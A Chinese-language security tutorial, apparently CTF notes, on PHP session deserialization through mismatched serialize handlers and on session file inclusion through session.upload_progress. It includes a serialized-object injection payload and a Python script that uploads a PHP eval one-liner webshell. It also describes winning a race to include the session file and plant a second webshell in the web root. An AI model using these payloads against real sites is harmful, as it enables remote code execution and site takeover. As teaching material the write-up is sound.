session反序列化

session的存储机制

  • php

    <?php
    error_reporting(0);
    echo "serialize_handler: ".ini_get("session.serialize_handler")."<br />";
    echo "path: ".ini_get("session.save_path");
    ini_set("session.serialize_handler", "php");
    session_start();
    $_SESSION['username'] = $_GET['username'];
    ?>

    username|s:3:"asd";

    键名+ | + 序列化之后的数据

  • php_serialize

    a:1:{s:8:"username";s:3:"asd";}

    直接将这个session数据进行序列化

  • php_binary
    键名的长度对应的ASCII字符 + 键名 + 经过 serialize() 函数反序列处理的值

利用

如果 PHP 在反序列化存储的 SESSION 数据时使用的处理器和序列化时使用的处理器不同,可能会导致数据无法正确反序列化,经过构造甚至可以执行代码

实例

一个用于存储session的代码

?php
error_reporting(0);
echo "serialize_handler: ".ini_get("session.serialize_handler")."<br />";
echo "path: ".ini_get("session.save_path");
ini_set("session.serialize_handler", "php_serialize");
session_start();
$_SESSION['username'] = $_GET['username'];
?>

image-20220608125748415

一个用于访问session的代码

<?php
error_reporting(0);
ini_set("session.serialize_handler", "php");
echo ini_get("session.serialize_handler")."<br/>";
session_start();
class test {
	public $name = "wrong";

	function __wakeup(){
		echo "this is __wakeup";
	}
	function __destruct(){
		echo "I am ".$this->name;
	}
}
$str = new test();
?>

image-20220608130622642

构建payload:

<?php
class test {
    public $name = "wrong";

    function __wakeup(){
        echo "this is __wakeup";
    }
    function __destruct(){
        echo "I am ".$this->name;
    }
}
$str = new test();
$str->name = "true";
echo serialize($str);
?>

O:4:"test":1:{s:4:"name";s:4:"true";}

如果将他在前面加上|传入session中,因为存储用的引擎是php_serialize,会将这个sessIon数组序列化,然而在class.php中访问session使用的是php引擎,会把我们payload上添加的|前认为键,payload认为是需要反序列化的数据

存入的session文件

image-20220608131134135

访问class.php

image-20220608131215020

成功反序列化

session文件包含

session.upload_progress.enabled可以控制是否开启session.upload_progress功能

session.upload_progress.cleanup可以控制是否在上传之后删除文件内容

session.upload_progress.prefix可以设置上传文件内容的前缀

session.upload_progress.name的值即为session中的键值

实例

test.php

<?php
ini_set("session.upload_progress.enabled","On");
ini_set("session.upload_progress.cleanup","On")
$a = $_GET['a'];
include($a);
?>

之后通过一个python脚本创建自定义的session文件

import requests
import io
url = "http://127.0.0.1:8000/test1.php"
sessid = "Lxxx"
 
 
def write(session):
   filebytes = io.BytesIO(b'a' * 1024 * 50)
   while True:
       res = session.post(url,
           data={
               'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
              },
           cookies={
               'PHPSESSID': sessid
              },
           files={
               'file': ('Lxxx.jpg', filebytes)
              }
          )
 
 
if __name__ == "__main__":
   with requests.session() as session:
       write(session)

但是在他生成这个session之后就立马删除了,我们通过竞争读取这个文件内容

有两块内容:

  • 第一块:

    upload_progress_

    这一块内容由以下两个值组成:session.upload_progress.name+PHP_SESSION_UPLOAD_PROGRESS

  • 第二块

    就是一串序列化的数据

首先,函数write和上面的是一样的,这里就不做过多的赘述了

整个代码的思路就是,往/tmp/sess_Lxxx文件中写入一句话木马,密码为1,然后用题目中的文件包含漏洞,包含这一个文件,在函数read中尝试利用/tmp/sess_Lxxx的一句话往网站根目录文件1.php写一句话木马,密码为2

利用Python的多线程,一边上传文件,一边尝试往根目录中写入1.php,如果成功写入了,就打印输出“成功写入一句话”

这里利用Python的threading模块,开5个线程进行条件竞争